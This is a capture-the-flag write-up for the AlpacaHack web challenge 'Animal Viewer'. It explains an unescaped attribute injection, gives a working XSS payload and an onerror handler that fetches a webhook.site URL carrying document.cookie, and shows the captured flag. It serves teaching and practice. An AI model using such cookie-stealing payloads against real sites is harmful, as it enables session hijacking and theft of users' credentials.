Projects Vulnerabilities Challenges Write-ups
← Back to challenges
AlpacaHack Web SOMEHOW EASY Solved

Animal Viewer

22.01.2026
Write-up

Challenge Description

Recover the flag stored in the admin bot's cookie.

Animal Viewer receives an animal name through the URL and places it inside an image src attribute. The challenge also provides an admin bot that visits a submitted URL while carrying the flag in a cookie. The goal is to make JavaScript run in that browser and send the cookie to a controlled endpoint.

Animal Viewer challenge page with the application and admin bot links
Animal Viewer on AlpacaHack

Recon / Initial Analysis

Identify where the input reaches the page.

The animal parameter is not HTML-escaped. The filter checks only for < and >, but the value is already inside an HTML attribute. A double quote is therefore enough to close src and add another attribute to the existing img element.

CODEThe user-controlled value is inserted directly inside srcJAVASCRIPT
const html = `
<!DOCTYPE html>
<html>
  <body>
    <h1>Animal Viewer</h1>
    <ul>
      <li><a href="/?animal=alpaca">Alpaca</a></li>
      <li><a href="/?animal=bear">Bear</a></li>
      <li><a href="/?animal=cat">Cat</a></li>
      <li><a href="/?animal=dog">Dog</a></li>
      <li><a href="/?animal=elephant">Elephant</a></li>
      <img src="/[ANIMAL].png">
  </body>
</html>
`;

app.get("/", async (req, res) => {
  const animal = req.query.animal || "alpaca";

  if (animal.includes("<") || animal.includes(">")) {
    return res.status(400).send("Bad Request");
  }

  const page = html.replace("[ANIMAL]", animal);
  res.send(page);
});

Technical Analysis

Turn the existing image element into the execution point.

The payload begins with x.png, then closes src with a quote. It adds onerror to the same img element and finishes with alt=" so the template's final .png" remains valid. Because /x.png does not exist, loading the image fails and the browser automatically executes onerror. No new HTML tag is required.

REQUESTFirst request: prove attribute injection with alert(1)TEXT
GET /?animal=x.png%22%20onerror=alert(1)%20alt=%22 HTTP/1.1
Host: 34.170.146.252:20982

RESPONSEFull HTML returned after the first payloadHTML
HTTP/1.1 200 OK

<!DOCTYPE html>
<html>
  <body>
    <h1>Animal Viewer</h1>
    <ul>
      <li>
        <a href="/?animal=alpaca">Alpaca</a>
      </li>
      <li>
        <a href="/?animal=bear">Bear</a>
      </li>
      <li>
        <a href="/?animal=cat">Cat</a>
      </li>
      <li>
        <a href="/?animal=dog">Dog</a>
      </li>
      <li>
        <a href="/?animal=elephant">Elephant</a>
      </li>
      <img src="/x.png" onerror=alert(1) alt=".png">
  </body>
</html>

Solution

Replace the proof of concept with cookie exfiltration.

The alert confirms code execution. The final handler uses fetch to request a webhook URL and appends document.cookie to the xss query parameter. The complete URL is submitted to the admin bot. Its browser loads the missing image, fires onerror, reads the FLAG cookie, and sends it to webhook.site.

CODEDecoded value of the animal parameterJAVASCRIPT
x.png" onerror="fetch('https://webhook.site/d48a4d72-9a78-4506-a92f-7d8983ab515e?xss=' + document.cookie)" alt="
REQUESTFinal request sent through the admin botTEXT
GET /?animal=x.png%22%20onerror=%22fetch%28%27https%3A%2F%2Fwebhook.site%2Fd48a4d72-9a78-4506-a92f-7d8983ab515e%3Fxss%3D%27%20%2B%20document.cookie%29%22%20alt=%22 HTTP/1.1
Host: 34.170.146.252:20982

RESPONSEFull HTML returned for the final payloadHTML
HTTP/1.1 200 OK

<!DOCTYPE html>
<html>
  <body>
    <h1>Animal Viewer</h1>
    <ul>
      <li>
        <a href="/?animal=alpaca">Alpaca</a>
      </li>
      <li>
        <a href="/?animal=bear">Bear</a>
      </li>
      <li>
        <a href="/?animal=cat">Cat</a>
      </li>
      <li>
        <a href="/?animal=dog">Dog</a>
      </li>
      <li>
        <a href="/?animal=elephant">Elephant</a>
      </li>
      <img src="/x.png" onerror="fetch('https://webhook.site/d48a4d72-9a78-4506-a92f-7d8983ab515e?xss=' + document.cookie)" alt=".png">
  </body>
</html>

Validation

Confirm the callback generated by the admin bot.

The webhook received a GET request from the challenge infrastructure. Its xss query parameter contained document.cookie, proving that the handler executed inside the admin bot and that the flag was recovered from its cookie.

Value captured by webhook.sitebash
$ GET /d48a4d72-9a78-4506-a92f-7d8983ab515e?xss=<document.cookie> HTTP/1.1
xss = FLAG=Alpaca{Client_s1de_ch4llenges_ar3_fun}
Webhook request showing the recovered FLAG cookie in the xss query parameter
The admin bot sent its cookie to the webhook

Flag

The verified flag recovered from the callback.

FLAGVerified flag
Alpaca{Client_s1de_ch4llenges_ar3_fun}
~/EnesBasmaci/Challenges